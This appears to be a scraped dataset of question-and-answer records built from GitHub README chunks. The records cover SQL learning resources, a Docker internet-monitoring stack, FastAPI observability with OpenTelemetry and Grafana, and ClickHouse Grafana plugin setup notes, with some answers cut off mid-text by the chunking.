"category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522693"}
{"id": "gh_787fd3c9d859", "question": "How to: SQL/NoSQL Learning Resources", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[SQL](https://en.wikipedia.org/wiki/SQL) is a standard language for storing, manipulating and retrieving data in relational databases.\n\n[NoSQL](https://www.ibm.com/cloud/blog/sql-vs-nosql) is a database that is interchangeably referred to as \"nonrelational, or \"non-SQL\" to highlight that the database can handle huge volumes of rapidly changing, unstructured data in different ways than a relational (SQL-based) database with rows and tables.\n\n[SQL Tutorial by W3Schools](https://www.w3schools.com/sql/)\n\n[Learn SQL Skills Online from Coursera](https://www.coursera.org/courses?query=sql)\n\n[SQL Courses Online from Udemy](https://www.udemy.com/topic/sql/)\n\n[SQL Online Training Courses from LinkedIn Learning](https://www.linkedin.com/learning/topics/sql)\n\n[Learn SQL For Free from Codecademy](https://www.codecademy.com/learn/learn-sql)\n\n[GitLab's SQL Style Guide](https://about.gitlab.com/handbook/business-ops/data-team/platform/sql-style-guide/)\n\n[OracleDB SQL Style Guide Basics](https://oracle.readthedocs.io/en/latest/sql/basics/style-guide.html)\n\n[Tableau CRM: BI Software and Tools](https://www.salesforce.com/products/crm-analytics/overview/)\n\n[Databases on AWS](https://aws.amazon.com/products/databases/)\n\n[Best Practices and Recommendations for SQL Server Clustering in AWS EC2.](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/aws-sql-clustering.html)\n\n[Connecting from Google Kubernetes Engine to a Cloud SQL instance.](https://cloud.google.com/sql/docs/mysql/connect-kubernetes-engine)\n\n[Educational Microsoft Azure SQL resources](https://docs.microsoft.com/en-us/sql/sql-server/educational-sql-resources?view=sql-server-ver15)\n\n[MySQL Certifications](https://www.mysql.com/certification/)\n\n[SQL vs. NoSQL Databases: What's the Difference?](https://www.ibm.com/cloud/blog/sql-vs-nosql)\n\n[What is NoSQL?](https://aws.amazon.com/nosql/)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522701"}
{"id": "gh_97239db9ff5a", "question": "How to: SQL/NoSQL Tools and Databases", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Azure Data Studio](https://github.com/Microsoft/azuredatastudio) is an open source data management tool that enables working with SQL Server, Azure SQL DB and SQL DW from Windows, macOS and Linux.\n\n[Azure SQL Database](https://azure.microsoft.com/en-us/services/sql-database/)  is the intelligent, scalable, relational database service built for the cloud. It’s evergreen and always up to date, with AI-powered and automated features that optimize performance and durability for you. Serverless compute and Hyperscale storage options automatically scale resources on demand, so you can focus on building new applications without worrying about storage size or resource management.\n\n[Azure SQL Managed Instance](https://azure.microsoft.com/en-us/services/azure-sql/sql-managed-instance/) is a fully managed SQL Server Database engine instance that's hosted in Azure and placed in your network. This deployment model makes it easy to lift and shift your on-premises applications to the cloud with very few application and database changes. Managed instance has split compute and storage components.\n\n[Azure Synapse Analytics](https://azure.microsoft.com/en-us/services/synapse-analytics/) is a limitless analytics service that brings together enterprise data warehousing and Big Data analytics. It gives you the freedom to query data on your terms, using either serverless or provisioned resources at scale. It brings together the best of the SQL technologies used in enterprise data warehousing, Spark technologies used in big data analytics, and Pipelines for data integration and ETL/ELT.\n\n[MSSQL for Visual Studio Code](https://marketplace.visualstudio.com/items?itemName=ms-mssql.mssql) is an extension for developing Microsoft SQL Server, Azure SQL Database and SQL Data Warehouse everywhere with a rich set of functionalities.\n\n[SQL Server Data Tools (SSDT)](https://docs.microsoft.com/en-us/sql/ssdt/download-sql-server-data-tools-ssdt) is a development tool for building SQL Server relational databases, Azure SQL Databases, Analysis Services (AS) data models, Integration Services (IS) packages, and Reporting Services (RS) reports. With SSDT, a developer can design and deploy any SQL Server content type with the same ease as they would develop an application in Visual Studio or Visual Studio Code.\n\n[Bulk Copy Program](https://docs.microsoft.com/en-us/sql/tools/bcp-utility) is a command-line tool that comes with Microsoft SQL Server. BCP, allows you to import and export large amounts of data in and out of SQL Server databases quickly snd efficeiently.\n\n[SQL Server Migration Assistant](https://www.microsoft.com/en-us/download/details.aspx?id=54258) is a tool from Microsoft that simplifies database migration process from Oracle to SQL Server, Azure SQL Database, Azure SQL Database Managed Instance and Azure SQL Data Warehouse.\n\n[SQL Server Integration Services](https://docs.microsoft.com/en-us/sql/integration-services/sql-server-integration-services?view=sql-server-ver15) is a development platform for building enterprise-level data integration and data transformations solutions. Use Integration Services to solve complex business problems by copying or downloading files, loading data warehouses, cleansing and mining data, and managing SQL Server objects and data.\n\n[SQL Server Business Intelligence(BI)](https://www.microsoft.com/en-us/sql-server/sql-business-intelligence) is a collection of tools in Microsoft's SQL Server for transforming raw data into information businesses can use to make decisions.\n\n[Tableau](https://www.tableau.com/) is a Data Visualization software used in relational databases, cloud databases, and spreadsheets. Tableau was acquired by [Salesforce in August 2019](https://investor.salesforce.com/press-releases/press-release-details/2019/Salesforce-Completes-Acquisition-of-Tableau/default.aspx).\n\n[DataGrip](https://www.jetbrains.com/datagrip/) is a professional DataBase IDE developed by Jet Brains that provides context-sensitive code completion, helping you to write SQL code faster. Completion is aware of the tables structure, foreign keys, and even database objects created in code you're editing.\n\n[RStudio](https://rstudio.com/) is an integrated development environment for R and Python, with a console, syntax-highlighting editor that supports direct code execution, and tools for plotting, history, debugging and workspace management.\n\n[MySQL](https://www.mysql.com/) is a fully managed database service to deploy cloud-native applications using the world's most popular open source database.\n\n[PostgreSQL](https://www.postgresql.org/) is a powerful, open source object-relational database system with over 30 years of active development that has earned it a strong reputation for reliability, feature robustness, and performance.\n\n[Amazon DynamoDB](https://aws.amazon.com/dynamodb/) is a key-value and document database that delivers single-digit millisecond performance at any scale. It is a fully managed, multiregion, multimaste", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522728"}
{"id": "gh_bde53c9702e1", "question": "How to: Contribute", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "- [x] If would you like to contribute to this guide simply make a [Pull Request](https://github.com/mikeroyal/Windows-11-Guide/pulls).", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522733"}
{"id": "gh_9a26cedca8bb", "question": "How to: Pre-requisites", "question_body": "About geerlingguy/internet-monitoring", "answer": "Make sure Docker and [Docker Compose](https://docs.docker.com/compose/install/) are installed on your Docker host machine.", "tags": ["geerlingguy"], "source": "github_gists", "category": "geerlingguy", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1286, "answer_score": 10, "has_code": false, "url": "https://github.com/geerlingguy/internet-monitoring", "collected_at": "2026-01-17T13:01:33.202106"}
{"id": "gh_7217b531e6cb", "question": "How to: Quick Start", "question_body": "About geerlingguy/internet-monitoring", "answer": "```\ngit clone https://github.com/geerlingguy/internet-monitoring\ncd internet-monitoring\ndocker-compose up -d\n```\n\nGo to [http://localhost:3030/d/o9mIe_Aik/internet-connection](http://localhost:3030/d/o9mIe_Aik/internet-connection) (change `localhost` to your docker host ip/name).", "tags": ["geerlingguy"], "source": "github_gists", "category": "geerlingguy", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1286, "answer_score": 10, "has_code": true, "url": "https://github.com/geerlingguy/internet-monitoring", "collected_at": "2026-01-17T13:01:33.202120"}
{"id": "gh_bf4674bce45c", "question": "How to: Configuration", "question_body": "About geerlingguy/internet-monitoring", "answer": "To change what hosts you ping you change the `targets` section in [/prometheus/pinghosts.yaml](./prometheus/pinghosts.yaml) file.\n\nFor speedtest the only relevant configuration is how often you want the check to happen. It is at 30 minutes by default which might be too much if you have limit on downloads. This is changed by editing `scrape_interval` under `speedtest` in [/prometheus/prometheus.yml](./prometheus/prometheus.yml).\n\nOnce configurations are done, run the following command:\n\n    $ docker-compose up -d\n\nThat's it. docker-compose builds the entire Grafana and Prometheus stack automagically.\n\nThe Grafana Dashboard is now accessible via: `http://\n:3030` for example http://localhost:3030\n\nusername - admin\npassword - wonka (Password is stored in the `config.monitoring` env file)\n\nThe DataSource and Dashboard for Grafana are automatically provisioned.\n\nIf all works it should be available at http://localhost:3030/d/o9mIe_Aik/internet-connection - if no data shows up try change the timeduration to something smaller.", "tags": ["geerlingguy"], "source": "github_gists", "category": "geerlingguy", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 1286, "answer_score": 10, "has_code": true, "url": "https://github.com/geerlingguy/internet-monitoring", "collected_at": "2026-01-17T13:01:33.202129"}
{"id": "gh_ff42ed624420", "question": "How to: Interesting urls", "question_body": "About geerlingguy/internet-monitoring", "answer": "http://localhost:9090/targets shows status of monitored targets as seen from prometheus - in this case which hosts being pinged and speedtest. note: speedtest will take a while before it shows as UP as it takes about 30s to respond.\n\nhttp://localhost:9090/graph?g0.expr=probe_http_status_code&g0.tab=1 shows prometheus value for `probe_http_status_code` for each host. You can edit/play with additional values. Useful to check everything is okey in prometheus (in case Grafana is not showing the data you expect).\n\nhttp://localhost:9115 blackbox exporter endpoint. Lets you see what have failed/succeded.\n\nhttp://localhost:9798/metrics speedtest exporter endpoint. Does take about 30 seconds to show its result as it runs an actual speedtest when requested.", "tags": ["geerlingguy"], "source": "github_gists", "category": "geerlingguy", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1286, "answer_score": 10, "has_code": false, "url": "https://github.com/geerlingguy/internet-monitoring", "collected_at": "2026-01-17T13:01:33.202137"}
{"id": "gh_f3e9a66b42dc", "question": "How to: Thanks and a disclaimer", "question_body": "About geerlingguy/internet-monitoring", "answer": "Thanks to @maxandersen for making the original project this fork is based on.\n\nThanks to @vegasbrianc work on making a [super easy docker](https://github.com/vegasbrianc/github-monitoring) stack for running prometheus and grafana.\n\nThis setup is not secured in any way, so please only use on non-public networks, or find a way to secure it on your own.", "tags": ["geerlingguy"], "source": "github_gists", "category": "geerlingguy", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1286, "answer_score": 10, "has_code": false, "url": "https://github.com/geerlingguy/internet-monitoring", "collected_at": "2026-01-17T13:01:33.202142"}
{"id": "gh_b8584176cb09", "question": "How to: Table of contents", "question_body": "About blueswen/fastapi-observability", "answer": "- [FastAPI with Observability](#fastapi-with-observability)\n  - [Table of contents](#table-of-contents)\n  - [Quick Start](#quick-start)\n  - [Explore with Grafana](#explore-with-grafana)\n    - [Metrics to Traces](#metrics-to-traces)\n    - [Traces to Logs](#traces-to-logs)\n    - [Logs to Traces](#logs-to-traces)\n  - [Detail](#detail)\n    - [FastAPI Application](#fastapi-application)\n      - [Traces and Logs](#traces-and-logs)\n      - [Span Inject](#span-inject)\n      - [Metrics](#metrics)\n      - [OpenTelemetry Instrumentation](#opentelemetry-instrumentation)\n    - [Prometheus - Metrics](#prometheus---metrics)\n      - [Prometheus Config](#prometheus-config)\n      - [Grafana Data Source](#grafana-data-source)\n    - [Tempo - Traces](#tempo---traces)\n      - [Grafana Data Source](#grafana-data-source-1)\n    - [Loki - Logs](#loki---logs)\n      - [Loki Docker Driver](#loki-docker-driver)\n      - [Grafana Data Source](#grafana-data-source-2)\n    - [Grafana](#grafana)\n  - [Reference](#reference)", "tags": ["blueswen"], "source": "github_gists", "category": "blueswen", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1057, "answer_score": 10, "has_code": true, "url": "https://github.com/blueswen/fastapi-observability", "collected_at": "2026-01-17T13:01:34.960581"}
{"id": "gh_e483dc6d80a5", "question": "How to: Explore with Grafana", "question_body": "About blueswen/fastapi-observability", "answer": "Grafana provides a great solution, which could observe specific actions in service between traces, metrics, and logs through trace ID and exemplar.\n\n![Observability Correlations](./images/observability-correlations.jpeg)\n\nImage Source: [Grafana](https://grafana.com/blog/2021/03/31/intro-to-exemplars-which-enable-grafana-tempos-distributed-tracing-at-massive-scale/)", "tags": ["blueswen"], "source": "github_gists", "category": "blueswen", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1057, "answer_score": 10, "has_code": false, "url": "https://github.com/blueswen/fastapi-observability", "collected_at": "2026-01-17T13:01:34.960608"}
{"id": "gh_65098f98131c", "question": "How to: Metrics to Traces", "question_body": "About blueswen/fastapi-observability", "answer": "Get Trace ID from an exemplar in metrics, then query in Tempo.\n\nQuery: `histogram_quantile(.99,sum(rate(fastapi_requests_duration_seconds_bucket{app_name=\"app-a\", path!=\"/metrics\"}[1m])) by(path, le))`\n\n![Metrics to Traces](./images/metrics-to-traces.png)", "tags": ["blueswen"], "source": "github_gists", "category": "blueswen", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1057, "answer_score": 10, "has_code": false, "url": "https://github.com/blueswen/fastapi-observability", "collected_at": "2026-01-17T13:01:34.960614"}
{"id": "gh_ace2a1aaee8a", "question": "How to: Traces to Logs", "question_body": "About blueswen/fastapi-observability", "answer": "Get Trace ID and tags (here is `service.name`) defined in Tempo data source from span, then query with Loki.\n\n![Traces to Logs](./images/traces-to-logs.png)", "tags": ["blueswen"], "source": "github_gists", "category": "blueswen", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1057, "answer_score": 10, "has_code": false, "url": "https://github.com/blueswen/fastapi-observability", "collected_at": "2026-01-17T13:01:34.960619"}
{"id": "gh_026747238d61", "question": "How to: FastAPI Application", "question_body": "About blueswen/fastapi-observability", "answer": "For a more complex scenario, we use three FastAPI applications with the same code in this demo. There is a cross-service action in `/chain` endpoint, which provides a good example of how to use OpenTelemetry SDK and how Grafana presents trace information.\n\n#### Traces and Logs\n\nWe use [OpenTelemetry Python SDK](https://github.com/open-telemetry/opentelemetry-python) to send trace info with gRCP to Tempo. Each request span contains other child spans when using OpenTelemetry instrumentation. The reason is that instrumentation will catch each internal asgi interaction ([opentelemetry-python-contrib issue #831](https://github.com/open-telemetry/opentelemetry-python-contrib/issues/831#issuecomment-1005163018)). If you want to get rid of the internal spans, there is a [workaround](https://github.com/open-telemetry/opentelemetry-python-contrib/issues/831#issuecomment-1116225314) in the same issue #831 by using a new OpenTelemetry middleware with two overridden methods for span processing.\n\nWe use [OpenTelemetry Logging Instrumentation](https://opentelemetry-python-contrib.readthedocs.io/en/latest/instrumentation/logging/logging.html) to override the logger format with another format with trace id and span id.\n\n```py", "tags": ["blueswen"], "source": "github_gists", "category": "blueswen", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1057, "answer_score": 10, "has_code": true, "url": "https://github.com/blueswen/fastapi-observability", "collected_at": "2026-01-17T13:01:34.960632"}
{"id": "gh_b25d2a64e50c", "question": "How to: fastapi_app/utils.py", "question_body": "About blueswen/fastapi-observability", "answer": "def setting_otlp(app: ASGIApp, app_name: str, endpoint: str, log_correlation: bool = True) -> None:\n    # Setting OpenTelemetry\n    # set the service name to show in traces\n    resource = Resource.create(attributes={\n        \"service.name\": app_name # for Tempo to distinguish source\n    })\n\n    # set the tracer provider\n    tracer = TracerProvider(resource=resource)\n    trace.set_tracer_provider(tracer)\n\n    tracer.add_span_processor(BatchSpanProcessor(\n        OTLPSpanExporter(endpoint=endpoint)))\n\n    if log_correlation:\n        LoggingInstrumentor().instrument(set_logging_format=True)\n\n    FastAPIInstrumentor.instrument_app(app, tracer_provider=tracer)\n```\n\nThe following image shows the span info sent to Tempo and queried on Grafana. Trace span info provided by `FastAPIInstrumentor` with trace ID (ef106bd57e5d8223a23ee9e3c93be73b), span id(b4fff543781f9beb), service name(app-a), custom attributes(service.name=app-a) and so on.\n\n![Span Information](./images/span-info.png)\n\nLog format with trace id and span id, which is overridden by `LoggingInstrumentor``\n\n```txt\n%(asctime)s %(levelname)s [%(name)s] [%(filename)s:%(lineno)d] [trace_id=%(otelTraceID)s span_id=%(otelSpanID)s resource.service.name=%(otelServiceName)s] - %(message)s\n```\n\nThe following image is what the logs look like.\n\n![Log With Trace ID And Span ID](./images/log-format.png)\n\n#### Span Inject\n\nIf you want other services to use the same Trace ID, you have to use `inject` function to add current span information to the header. Because OpenTelemetry FastAPI instrumentation only takes care of the asgi app's request and response, it does not affect any other modules or actions like sending HTTP requests to other servers or function calls.\n\n```py", "tags": ["blueswen"], "source": "github_gists", "category": "blueswen", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1057, "answer_score": 10, "has_code": true, "url": "https://github.com/blueswen/fastapi-observability", "collected_at": "2026-01-17T13:01:34.960642"}
{"id": "gh_e0470ea6fcff", "question": "How to: fastapi_app/main.py", "question_body": "About blueswen/fastapi-observability", "answer": "from opentelemetry.propagate import inject\n\n@app.get(\"/chain\")\nasync def chain(response: Response):\n\n    headers = {}\n    inject(headers)  # inject trace info to header\n\n    async with httpx.AsyncClient() as client:\n        await client.get(f\"http://localhost:8000/\", headers=headers,)\n    async with httpx.AsyncClient() as client:\n        await client.get(f\"http://{TARGET_ONE_HOST}:8000/io_task\", headers=headers,)\n    async with httpx.AsyncClient() as client:\n        await client.get(f\"http://{TARGET_TWO_HOST}:8000/cpu_task\", headers=headers,)\n\n    return {\"path\": \"/chain\"}\n```\n\nAlternatively, we can use the [instrumentation library for HTTPX](https://github.com/open-telemetry/opentelemetry-python-contrib/tree/main/instrumentation/opentelemetry-instrumentation-httpx) to instrument HTTPX. Following is the example of using OpenTelemetry HTTPX Instrumentation which will automatically inject trace info to the header.\n\n```py\nimport httpx\nfrom opentelemetry.instrumentation.httpx import HTTPXClientInstrumentor\n\nHTTPXClientInstrumentor().instrument()\n\n@app.get(\"/chain\")\nasync def chain(response: Response):\n    async with httpx.AsyncClient() as client:\n        await client.get(f\"http://localhost:8000/\")\n    async with httpx.AsyncClient() as client:\n        await client.get(f\"http://{TARGET_ONE_HOST}:8000/io_task\")\n    async with httpx.AsyncClient() as client:\n        await client.get(f\"http://{TARGET_TWO_HOST}:8000/cpu_task\")\n\n    return {\"path\": \"/chain\"}\n```\n\n#### Metrics\n\nUse [Prometheus Python Client](https://github.com/prometheus/client_python) to generate OpenTelemetry format metric with [exemplars](https://github.com/prometheus/client_python#exemplars) and expose on `/metrics` for Prometheus.\n\nIn order to add an exemplar to metrics, we retrieve the trace id from the current span for the exemplar and add the trace id dict to the Histogram or Counter metrics.\n\n```py", "tags": ["blueswen"], "source": "github_gists", "category": "blueswen", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1057, "answer_score": 10, "has_code": true, "url": "https://github.com/blueswen/fastapi-observability", "collected_at": "2026-01-17T13:01:34.960652"}
{"id": "gh_8aa386f74b34", "question": "How to: retrieve trace id for exemplar", "question_body": "About blueswen/fastapi-observability", "answer": "span = trace.get_current_span()\ntrace_id = trace.format_trace_id(\n      span.get_span_context().trace_id)\n\nREQUESTS_PROCESSING_TIME.labels(method=method, path=path, app_name=self.app_name).observe(\n      after_time - before_time, exemplar={'TraceID': trace_id}\n)\n```\n\nBecause exemplars is a new datatype proposed in [OpenMetrics](https://github.com/prometheus/OpenMetrics/blob/main/specification/OpenMetrics.md#exemplars), `/metrics` have to use `CONTENT_TYPE_LATEST` and `generate_latest` from `prometheus_client.openmetrics.exposition` module instead of `prometheus_client` module ([Prometheus Client Document](https://prometheus.github.io/client_python/instrumenting/exemplars/)). Otherwise using the wrong generate_latest the exemplars dict behind Counter and Histogram will never show up, and using the wrong CONTENT_TYPE_LATEST will cause Prometheus scraping to fail.\n\n```py", "tags": ["blueswen"], "source": "github_gists", "category": "blueswen", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1057, "answer_score": 10, "has_code": true, "url": "https://github.com/blueswen/fastapi-observability", "collected_at": "2026-01-17T13:01:34.960665"}
{"id": "gh_992686d677f2", "question": "How to: Prometheus - Metrics", "question_body": "About blueswen/fastapi-observability", "answer": "Collects metrics from applications.\n\n#### Prometheus Config\n\nDefine all FastAPI applications metrics scrape jobs in `etc/prometheus/prometheus.yml`.\n\n```yaml\n...\nscrape_configs:\n  - job_name: 'app-a'\n    scrape_interval: 5s\n    static_configs:\n      - targets: ['app-a:8000']\n  - job_name: 'app-b'\n    scrape_interval: 5s\n    static_configs:\n      - targets: ['app-b:8000']\n  - job_name: 'app-c'\n    scrape_interval: 5s\n    static_configs:\n      - targets: ['app-c:8000']\n```\n\n#### Grafana Data Source\n\nAdd an Exemplars which uses the value of `TraceID` label to create a Tempo link.\n\nGrafana data source setting example:\n\n![Data Source of Prometheus: Exemplars](./images/prometheus-exemplars.png)\n\nGrafana data sources config example:\n\n```yaml\nname: Prometheus\ntype: prometheus\ntypeName: Prometheus\naccess: proxy\nurl: http://prometheus:9090\npassword: ''\nuser: ''\ndatabase: ''\nbasicAuth: false\nisDefault: true\njsonData:\nexemplarTraceIdDestinations:\n   - datasourceUid: tempo\n      name: TraceID\nhttpMethod: POST\nreadOnly: false\neditable: true\n```", "tags": ["blueswen"], "source": "github_gists", "category": "blueswen", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1057, "answer_score": 10, "has_code": true, "url": "https://github.com/blueswen/fastapi-observability", "collected_at": "2026-01-17T13:01:34.960681"}
{"id": "gh_d07ae7cfd41c", "question": "How to: Tempo - Traces", "question_body": "About blueswen/fastapi-observability", "answer": "Receives spans from applications.\n\n#### Grafana Data Source\n\n[Trace to logs](https://grafana.com/docs/grafana/latest/datasources/tempo/#trace-to-logs) setting:\n\n1. Data source: target log source\n2. Tags: key of tags from the trace, which will be log query criteria if the key exists in the trace\n   1. Without as value: use the key as query label\n   2. With as value: convert the tag key to another key as query label\n\nGrafana data source setting example:\n\n![Data Source of Tempo: Trace to logs](./images/tempo-trace-to-logs.png)\n\nGrafana data sources config example:\n\n```yaml\nuid: tempo\norgId: 1\nname: Tempo\ntype: tempo\ntypeName: Tempo\naccess: proxy\nurl: http://tempo\npassword: ''\nuser: ''\ndatabase: ''\nbasicAuth: false\nisDefault: false\njsonData:\n  nodeGraph:\n    enabled: true\n  tracesToLogsV2:\n    customQuery: false\n    datasourceUid: loki\n    filterBySpanID: false\n    filterByTraceID: true\n    tags:\n      - key: service.name\n        value: compose_service\nreadOnly: false\neditable: true\n```", "tags": ["blueswen"], "source": "github_gists", "category": "blueswen", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1057, "answer_score": 10, "has_code": true, "url": "https://github.com/blueswen/fastapi-observability", "collected_at": "2026-01-17T13:01:34.960691"}
{"id": "gh_045139a07752", "question": "How to: Loki - Logs", "question_body": "About blueswen/fastapi-observability", "answer": "Collect logs with Loki Docker Driver from all services.\n\n#### Loki Docker Driver\n\n1. Use [YAML anchor and alias](https://support.atlassian.com/bitbucket-cloud/docs/yaml-anchors/) feature to set logging options for each service.\n2. Set [Loki Docker Driver options](https://grafana.com/docs/loki/latest/clients/docker-driver/configuration/)\n   1. loki-url: loki service endpoint\n   2. loki-pipeline-stages: processes multiline log from FastAPI application with multiline and regex stages ([reference](https://grafana.com/docs/loki/latest/clients/promtail/stages/multiline/))\n\n```yaml\nx-logging: &default-logging # anchor(&): 'default-logging' for defines a chunk of configuration\n  driver: loki\n  options:\n    loki-url: 'http://localhost:3100/api/prom/push'\n    loki-pipeline-stages: |\n      - multiline:\n          firstline: '^\\d{4}-\\d{2}-\\d{2} \\d{1,2}:\\d{2}:\\d{2}'\n          max_wait_time: 3s\n      - regex:\n          expression: '^(?P\n\\d{4}-\\d{2}-\\d{2} \\d{1,2}:\\d{2}:\\d{2},\\d{3}) (?P\n(?s:.*))$$'", "tags": ["blueswen"], "source": "github_gists", "category": "blueswen", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1057, "answer_score": 10, "has_code": true, "url": "https://github.com/blueswen/fastapi-observability", "collected_at": "2026-01-17T13:01:34.960699"}
{"id": "gh_f0c0b56ecd9b", "question": "How to: Use $$ (double-dollar sign) when your configuration needs a literal dollar sign.", "question_body": "About blueswen/fastapi-observability", "answer": "services:\n   foo:\n      image: foo\n      logging: *default-logging # alias(*): refer to 'default-logging' chunk \n```\n\n#### Grafana Data Source\n\nAdd a TraceID derived field to extract the trace id and create a Tempo link from the trace id.\n\nGrafana data source setting example:\n\n![Data Source of Loki: Derived fields](./images/loki-derive-fields.png)\n\nGrafana data source config example:\n\n```yaml\nname: Loki\ntype: loki\ntypeName: Loki\naccess: proxy\nurl: http://loki:3100\npassword: ''\nuser: ''\ndatabase: ''\nbasicAuth: false\nisDefault: false\njsonData:\n  derivedFields:\n    - datasourceUid: tempo\n      matcherRegex: (?:trace_id)=(\\w+)\n      matcherType: regex\n      name: TraceID\n      url: $${__value.raw}\n      # Use $$ (double-dollar sign) when your configuration needs a literal dollar sign.\nreadOnly: false\neditable: true\n```", "tags": ["blueswen"], "source": "github_gists", "category": "blueswen", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 1057, "answer_score": 10, "has_code": true, "url": "https://github.com/blueswen/fastapi-observability", "collected_at": "2026-01-17T13:01:34.960707"}
{"id": "gh_e390692267a8", "question": "How to: grafana in docker-compose.yaml", "question_body": "About blueswen/fastapi-observability", "answer": "grafana:\n   image: grafana/grafana:12.0.0\n   volumes:\n      - ./etc/grafana/:/etc/grafana/provisioning/datasources # data sources\n      - ./etc/dashboards.yaml:/etc/grafana/provisioning/dashboards/dashboards.yaml # dashboard setting\n      - ./etc/dashboards:/etc/grafana/dashboards # dashboard json files directory\n```", "tags": ["blueswen"], "source": "github_gists", "category": "blueswen", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1057, "answer_score": 10, "has_code": true, "url": "https://github.com/blueswen/fastapi-observability", "collected_at": "2026-01-17T13:01:34.960713"}
{"id": "gh_c623b61d85e9", "question": "How to: Altinity Grafana datasource plugin for ClickHouse® (grafana Grafana 4.6+ supported)", "question_body": "About Altinity/clickhouse-grafana", "answer": "Altinity ClickHouse datasource plugin provides a support for [ClickHouse](https://clickhouse.tech) as a backend database.\n\nInitially plugin developed by Vertamedia, maintaned by Altinity since 2020.", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 765, "answer_score": 10, "has_code": false, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920567"}
{"id": "gh_89e7bf92667d", "question": "How to: setup notes for plugin version 3.4.9+", "question_body": "About Altinity/clickhouse-grafana", "answer": "Because we added `output_format_json_quote_64bit_integers=1` to any browser request from plugin,\nif your user which you use for connection have readonly=1, change it to readonly=2, for example\n`/etc/clickhouse-server/users.d/readonly.xml`\n```xml\n2\n```", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 765, "answer_score": 10, "has_code": true, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920584"}
{"id": "gh_9d04159c7569", "question": "How to: ClickHouse 25.8+ setup notes for plugin version before 3.4.9", "question_body": "About Altinity/clickhouse-grafana", "answer": "New ClickHouse version change default behavior for output_format_json_quote_64bit_integers=0, \nwhich not allows to read generated JSON in JavaScript, look details in https://github.com/ClickHouse/ClickHouse/issues/86553\nTo properly works old version Altinity clickhouse datasource plugin for Grafana use following config\n`/etc/clickhouse-server/users.d/output_format_json_quote_64bit_integers.xml`\n```xml\n1\n```", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 765, "answer_score": 10, "has_code": true, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920592"}
{"id": "gh_5f6d264355a7", "question": "How to: Grafana 10+ setup notes for plugin version before 3.0.0", "question_body": "About Altinity/clickhouse-grafana", "answer": "Old versions of Altinity ClickHouse datasource plugin for Grafana written in Angular. So you can watch warning like \n```\nAngular plugin\nThis data source plugin uses a deprecated, legacy platform based on AngularJS and will stop working in future releases of Grafana.\n```\n\nDon't worry about warning message, plugin will still working until Grafana 11 will release, after it upgrade to Altinity ClickHouse datasource plugin for Grafana to 3.x version is required.", "tags": ["Altinity"], "source": "github_gists", "category": "Altinity", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 765, "answer_score": 10, "has_code": true, "url": "https://github.com/Altinity/clickhouse-grafana", "collected_at": "2026-01-17T13:01:37.920598"}
{"id": "gh_7e1c5dd946e5", "question": "How to: Grafana 7+ setup notes for plugin version before 2.2.0", "question_body": "About Altinity/clickhouse-grafana", "answer": "When 2.0.x and 2.1.x vertamedia-clickhouse-grafana plugin versions released Grafana team didn't provide worked signing method for community plugins.\nCurrent sign process describe on [grafana.com](https://grafana.com/docs/grafana/latest/developers/plugins/sign-a-plugin/)\n\nso, for properly setup 2.0.x and 2.1.x plugins you need change configuration option\n\n```ini\n[plugins]\nallow_loading_unsigned_plugins=vertamedia-clickhouse-datasource\n```\n\nor setup environment variable\n\n```bash\nGF_PLUGINS_ALLOW_LOADING_UNSIGNED_PLUGINS=vertamedia-clickhouse-datasource\n```\n\nYou can install plugin from [grafana.com](https://grafana.com/plugins/vertamedia-clickhouse-datasource)\n\nOR\n\nCopy files to your [Grafana plugin directory](https://grafana.com/docs/grafana/latest/plugins/installation/#install-plugin-on-local-grafana).\nRestart Grafana, check data sources list at Configuration -> Datasources -> New, choose ClickHouse option.\n\n![Datasources](https://github.com/Altinity/clickhouse-grafana/raw/master/.github/images/01_data_sources.png)\n![Add new datasource](https://github.com/Altinity/clickhouse-grafana/raw/master/.github/images/02_add_data_source.png)\n![Datasource 